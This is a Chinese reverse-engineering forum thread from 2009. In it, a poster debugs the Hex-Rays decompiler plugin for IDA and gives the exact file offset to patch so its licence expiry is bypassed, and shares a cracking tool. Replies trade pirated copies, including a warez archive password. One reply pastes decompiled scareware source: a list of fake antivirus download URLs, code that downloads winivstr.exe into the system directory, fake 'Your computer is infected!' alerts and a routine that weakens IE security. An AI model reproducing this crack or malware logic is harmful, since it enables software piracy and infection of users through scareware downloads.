首页
社区
课程
招聘
[原创]有关hexrays插件时间限制的调试与解决
发表于: 2009-1-29 11:08 21153

[原创]有关hexrays插件时间限制的调试与解决

2009-1-29 11:08
21153

本人现只能在此处发贴,如有不便表示歉意。
   在论坛下了个Crack_New_Year_Presents_2009.iso也就是传说中的新年大礼包,并在其中翻出来了IDA的插件hexrays,也就是把汇编翻译成伪c代码的软件。按照说明安装了一下.但是打开IDA运行插件时告知过期,很是郁闷。这么好的东西,难道非要自己破解不成。无奈之下写了这个程序供大家使用,如果觉得还可以管理员不妨把它加到新年大礼包中(谢谢)。

   简单说一下在IDA安装目录下的plugins子目录里找到hexrays.plw,用winhex打开来到文件偏移FCCDC处这里有连续4个字节存放着一个关键数据。如果全是00,那么软件就把它解释成为一个初始时间就是1970年1月1日。插件安装完后这里是492c8370h换算成十进制是1227654000整除86400得到14208这个就是从1970年1月1日至今的天数,也就是2008年11月26日,因为14208大概就是39年。如果你没有按照安装说明修改,那么修改一下系统时间还可以用。如果你完全相信安装说明,你可以试试能否在windows里把系统时间修改到1970年以前。
   程序运行截了个图。
可能你对这个时间存放的地址FCCDC比较感兴趣。
当弹出显示过期时间的窗口时,你可以用个小工具看一下窗口名和窗口类,应该是用了createwindowexa
用od载入IDA后设置createwindowexa的断点断下后在右边的堆栈中找到返回地址,直接跳过去是
021B30DF    8B2D 10161202   MOV EBP,DWORD PTR DS:[<&USER32.CreateWindowExA>]          user32.CreateWindowExA
021B30E5    68 00008080     PUSH 80800000
021B30EA    68 88FC1F02     PUSH hexrays.021FFC88    ; ASCII "About window"
021B30EF    68 B8FC1F02     PUSH hexrays.021FFCB8    ;ASCII"Hex-RaysSplash"                              
021B30F4    6A 00           PUSH 0
021B30F6    FFD5            CALL EBP   ;弹出提示过期时间的窗口

往上看发现
021B2E87    68 70E12102     PUSH hexrays.0221E170                                    ; ASCII "f1bb5ea286819591579a2018b6edf166"
021B2E8C    68 E0E02102     PUSH hexrays.0221E0E0                                    ; ASCII "57-BF73-7BE4-3F"
021B2E91    51              PUSH ECX
021B2E92    E8 79B50100     CALL hexrays.021CE410
再由Memory map 地址=0221E000 大小=00007000 (28672.)  属主=hexrays  02120000 可以知道0221E000处是插件的数据段,"57-BF73-7BE4-3F"就在文件偏移的fcce0处,显然hexrays.plw插件数据段的内容就是读取了该处的文件数据。对比0221E000起始处的内容和插件偏移fcce0附近的数据,从而确定0221E000对应的文件偏移是fcc00.

再重新调试很容易来到下面地址处
0212A51C    A1 DCE02102     MOV EAX,DWORD PTR DS:[221E0DC]  ;221E0DC处的双字数据将会在下面生成日期
0212A521    99              CDQ
0212A522    890424          MOV DWORD PTR SS:[ESP],EAX
0212A525    8D0424          LEA EAX,DWORD PTR SS:[ESP]
0212A528    50              PUSH EAX
0212A529    895424 08       MOV DWORD PTR SS:[ESP+8],EDX
0212A52D    E8 68780A00     CALL hexrays.021D1D9A   
0212A532    50              PUSH EAX
0212A533    68 60BC1F02     PUSH hexrays.021FBC60                                    ; ASCII "%d %b %Y"
所以得到日期数据相对于数据段起始地址的偏移0221E0DC-0221E000=dc,这样在插件中的文件偏移就是fcc00+dc=fccdc。



[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
  • 1.JPG (33.55kb,676次下载)
  • 2.JPG (17.47kb,769次下载)
  • 3.JPG (21.46kb,770次下载)
收藏
免费 7
支持
分享
最新回复 (23)
雪    币: 237
活跃值: (31)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
支持新人,分析的很详细
不过找不到下载
2009-1-29 18:09
0
雪    币: 2015
活跃值: (902)
能力值: ( LV12,RANK:1000 )
在线值:
发帖
回帖
粉丝
3
补传一下我的程序,上次发贴忘记了。
hexrays.rar
上传的附件:
2009-1-29 20:39
0
雪    币: 2015
活跃值: (902)
能力值: ( LV12,RANK:1000 )
在线值:
发帖
回帖
粉丝
4
程序已经上传,如果你需要可以在论坛搜到。感谢使用!希望多多鼓励,新人经受不起打击。尤其是“精华”变成了“关注”,非常挫伤积极性。感谢理解!
2009-1-29 21:06
0
雪    币: 237
活跃值: (31)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
我说在原帖没发现,建议楼主直接跟帖就好
2009-1-29 22:59
0
雪    币: 47147
活跃值: (20470)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
6
主题合并一下
2009-2-1 22:11
0
雪    币: 2067
活跃值: (82)
能力值: ( LV9,RANK:180 )
在线值:
发帖
回帖
粉丝
7
为了精华而写, 不是很痛苦吗?
2009-2-1 23:55
0
雪    币: 47147
活跃值: (20470)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
8
昨晚误操作“区顶”,现在取消。
2009-2-2 10:05
0
雪    币: 2411
活跃值: (1412)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
9
不要傷心, 有人支持你.
置頂不是那麼重要.
2009-2-2 13:55
0
雪    币: 2015
活跃值: (902)
能力值: ( LV12,RANK:1000 )
在线值:
发帖
回帖
粉丝
10
澄清一下,痛苦的的是“意外的得到了你不敢企及的东西却又在转瞬间意外的失去了,而且原因还不便于让别人知道”,当然天上不会掉馅饼,况且还是个新人(只是把很久以前注册的密码丢了而已),我会记住看雪老大的话,继续支持看雪论坛。
2009-2-2 16:55
0
雪    币: 204
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
LZ,我操作失败,是因为我的环境的原因?vista 64
2009-2-9 14:22
0
雪    币: 204
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
找到原因了,是管理权限的问题
2009-2-9 15:29
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
很好,照你的说法改了一下。在hexrays网站上,看到了2008版的,反编译很不错,不知道谁有啊?共享一下。
我找有一个hxrys-decomp-upped_by_LIQUIDFORCE.zip,但是没有解压密码,郁闷。
hexrays网站公布的片段如下:
/* This file has been generated by the Hex-Rays decompiler.
   Copyright (c) 2008 Hex-Rays <info@hex-rays.com>

   Detected compiler: Visual C++
*/

#include <windows.h>

//-------------------------------------------------------------------------
// Data declarations - initializators prepared manually

typedef unsigned char _BYTE;
typedef int bool;
typedef DWORD MACRO_WM;
typedef DWORD MACRO_REG_NONE;
typedef enum guard_info_t
{
  GUARD_NONE = 0x0,
  GUARD_XPSEC = 0x1,
  GUARD_EXISTS = 0x2,
} guard_info_t;

extern const char *const url_fmts[] =
{
  "http://virus-quick-scan.com/?wmid=%s&l=12&it=2&s=%s",
  "http://antispyware-quick-scan.com/?wmid=%s&l=12&it=2&s=%s",
  "http://spyware-quickscan-2008.com/?wmid=%s&l=12&it=2&s=%s",
  "http://virus-quickscan-2008.com/?wmid=%s&l=12&it=2&s=%s",
  "http://spyware-quickscan-2009.com/?wmid=%s&l=12&it=2&s=%s",
  "http://virus-quickscan-2009.com/?wmid=%s&l=12&it=2&s=%s",
  "http://antivirus-quick-scan.com/?wmid=%s&l=12&it=2&s=%s",
  NULL
};

HWND main_hwnd; // idb
int winivstr_ok; // weak
const char WindowName[] = "";

void __cdecl main();
BOOL __cdecl add_systray_icon(const char *hint); // idb
BOOL __cdecl scare_user();
DWORD __stdcall icon_thread_entry(LPVOID a1); // idb
signed int __cdecl download_winivstr();
void __cdecl launch_scareware(); // idb
LRESULT __stdcall icon_thread_wndproc(HWND hWnd, MACRO_WM Msg, WPARAM wParam, LPARAM lParam);
void __cdecl bzero(void *a1, int size); // idb
const unsigned __int8 *__cdecl my_strstr(const unsigned __int8 *str, const unsigned __int8 *substr); // idb
signed int __stdcall get_registry_value(HKEY hKey, LPCSTR lpSubKey, LPCSTR lpValueName, MACRO_REG_NONE *lpType, LPBYTE lpData, LPDWORD lpcbData); // idb
signed int __stdcall set_registry_value(HKEY hKey, LPCSTR lpSubKey, LPCSTR lpValueName, MACRO_REG_NONE dwType, BYTE *lpData, DWORD cbData); // idb
signed int __cdecl start_process(LPSTR lpCommandLine);
guard_info_t __cdecl check_security_guards();
void __cdecl spoil_ie_security(); // idb
bool __cdecl already_running();
void __cdecl del_registry_subkeys(LPCSTR src);

//----- (00401BF0) --------------------------------------------------------
BOOL __cdecl add_systray_icon(const char *hint)
{
  BOOL result; // eax@3
  int v2; // [sp+1ECh] [bp-4h]@1
  HICON handle; // [sp+1E8h] [bp-8h]@1
  NOTIFYICONDATA notifyicon; // [sp+0h] [bp-1F0h]@2

  v2 = 0;
  handle = LoadIconA(0, (LPCSTR)RESID_ICON);
  bzero(¬ifyicon, 488);
  if ( handle )                                                 // loaded the icon?
  {
    notifyicon.hIcon = handle;
    notifyicon.hWnd = main_hwnd;
    notifyicon.uCallbackMessage = ICON_MESSAGE;
    notifyicon.uID = MYICON_UID;
    notifyicon.cbSize = 488;
    notifyicon.uFlags = NIF_TIP|NIF_ICON|NIF_MESSAGE;
    lstrcpy(notifyicon.szTip, hint);
    result = Shell_NotifyIcon(NIM_ADD, (PNOTIFYICONDATA)¬ifyicon);// show it on the tray
  }
  else
  {
    result = 0;                                                 // failure...
  }
  return result;
}

//----- (00401CA0) --------------------------------------------------------
BOOL __cdecl scare_user()
{
  HICON handle; // [sp+4h] [bp-1ECh]@1
  NOTIFYICONDATA notifyicon; // [sp+8h] [bp-1E8h]@1

  handle = LoadIconA(0, (LPCSTR)RESID_ICON);
  bzero(¬ifyicon, 488);
  notifyicon.hWnd = main_hwnd;
  notifyicon.uFlags = NIF_INFO|NIF_TIP|NIF_ICON|NIF_MESSAGE;
  notifyicon.hIcon = handle;
  notifyicon.uCallbackMessage = ICON_MESSAGE;
  notifyicon.uVersion = 10000;                                  // win2000
  notifyicon.uID = MYICON_UID;
  notifyicon.cbSize = 488;
  notifyicon.dwInfoFlags = NIIF_ERROR;                          // Ballon icon: an error icon
  lstrcpy(notifyicon.szInfoTitle, "Your computer is infected!");
  lstrcpy(
    notifyicon.szInfo,
    "Windows has detected spyware infection!\n\nIt is recomended to use special antispyware tools to pervent data loss.Windows will now download and install the most up-to-date antispyware for you.\n\nClick here to protect your computer from spyware!");
  return Shell_NotifyIcon(NIM_MODIFY, (PNOTIFYICONDATA)¬ifyicon);// scare the user
}

//----- (00401D70) --------------------------------------------------------
DWORD __stdcall icon_thread_entry(LPVOID a1)
{
  HMODULE imagebase; // eax@1
  HINSTANCE hInstance; // [sp+44h] [bp-8h]@1
  WNDCLASSA WndClass; // [sp+0h] [bp-4Ch]@1
  HICON v5; // [sp+48h] [bp-4h]@3
  struct tagMSG Msg; // [sp+28h] [bp-24h]@6

  imagebase = GetModuleHandleA(0);
  hInstance = imagebase;
  WndClass.style = CS_HREDRAW|CS_VREDRAW;
  WndClass.lpfnWndProc = (WNDPROC)icon_thread_wndproc;
  WndClass.hInstance = imagebase;
  WndClass.hbrBackground = (HBRUSH)HOLLOW_BRUSH;
  WndClass.lpszClassName = "CKMINT21WINDOWSHIDERPRO";
  WndClass.hCursor = LoadCursorA(0, (LPCSTR)RESID_CURSOR);
  WndClass.hIcon = LoadIconA(0, (LPCSTR)RESID_CURSOR);
  WndClass.lpszMenuName = NULL;
  WndClass.cbClsExtra = 0;
  WndClass.cbWndExtra = 0;
  if ( !RegisterClassA(&WndClass) )                             // standard stuff...
    ExitProcess_0(0);
  v5 = LoadIconA(NULL, (LPCSTR)RESID_ICON);
  main_hwnd = CreateWindowExA(                                  // create a popup window
                0,
                WndClass.lpszClassName,
                WindowName,
                WS_EX_LAYOUTRTL|WS_EX_LAYERED|WS_EX_STATICEDGE|0x800000,
                WS_POPUP,
                0,
                0,
                0,
                0,
                0,
                hInstance,
                0);
  while ( !add_systray_icon("Windows Security Alert") )         // add bogus security alert
    Sleep(1000u);
  while ( GetMessageA(&Msg, 0, 0, 0) )                          // windows message loop
  {
    TranslateMessage(&Msg);
    DispatchMessageA(&Msg);
  }
  return 0;
}

//----- (00401E90) --------------------------------------------------------
signed int __cdecl download_winivstr()
{
  int idx; // [sp+514h] [bp-4h]@1
  int v2; // [sp+404h] [bp-114h]@1
  char path[268]; // [sp+408h] [bp-110h]@2
  char url[1028]; // [sp+0h] [bp-518h]@4

  idx = 0;
  v2 = 8;
  if ( !check_security_guards() )                               // no security measures?
  {
    bzero(path, 260);
    GetSystemDirectoryA(path, 260u);
    lstrcat(path, "\\winivstr.exe");
    while ( url_fmts[idx] )                                     // try to download from different servers...
    {
      wsprintfA(url, url_fmts[idx], "1019", "33");              // form full url
      if ( !URLDownloadToFileA(0, url, path, 0, 0) )
      {
        winivstr_ok = 1;                                        // success!
        return 0;
      }
      ++idx;
    }
  }
  return 1;
}
2009-4-15 17:23
0
雪    币: 1708
活跃值: (586)
能力值: ( LV15,RANK:670 )
在线值:
发帖
回帖
粉丝
14
在看雪发贴最痛苦的事情是什么知道不?就是发了贴,没给精华
在看雪发贴最痛苦的事情是什么知道不?就是精华还有,但是没发现你的贴
2009-4-15 19:06
0
雪    币: 204
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
不错,谢谢,下了试试
2009-5-21 17:01
0
雪    币: 91
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
hxrys-decomp-upped_by_LIQUIDFORCE.zip 密码是 warezwaldo.org

版本就是1.0... 作孽啊...
2009-5-27 12:21
0
雪    币: 220
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
唯一不完美的地方就是没有界面上没有浏览目录按钮,再支持拖曳功能就更好了
2009-5-27 13:30
0
雪    币: 216
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
我调到2012年。
咋还是无法使用呢???
2009-6-9 19:22
0
雪    币: 4902
活跃值: (135)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
来支持牛人
俺不会
呵呵
2009-8-8 23:26
0
雪    币: 244
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
天易love你很棒!感谢了:)
2009-8-9 00:58
0
雪    币: 2015
活跃值: (902)
能力值: ( LV12,RANK:1000 )
在线值:
发帖
回帖
粉丝
21
前辈 感谢的应该是我!本人入门不久 ,多谢鼓励!
2009-8-21 23:02
0
雪    币: 162
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
郁闷死了,我的hexrays也过期,试了N种方法F5都是没反映。。。。奇怪了
2009-10-11 01:25
0
雪    币: 260
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
楼主挺厉害的,学习了,我还没到你这水平
2009-10-11 08:45
0
雪    币: 290
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
很好^_
2009-10-23 18:56
0
游客
登录 | 注册 方可回帖
返回
//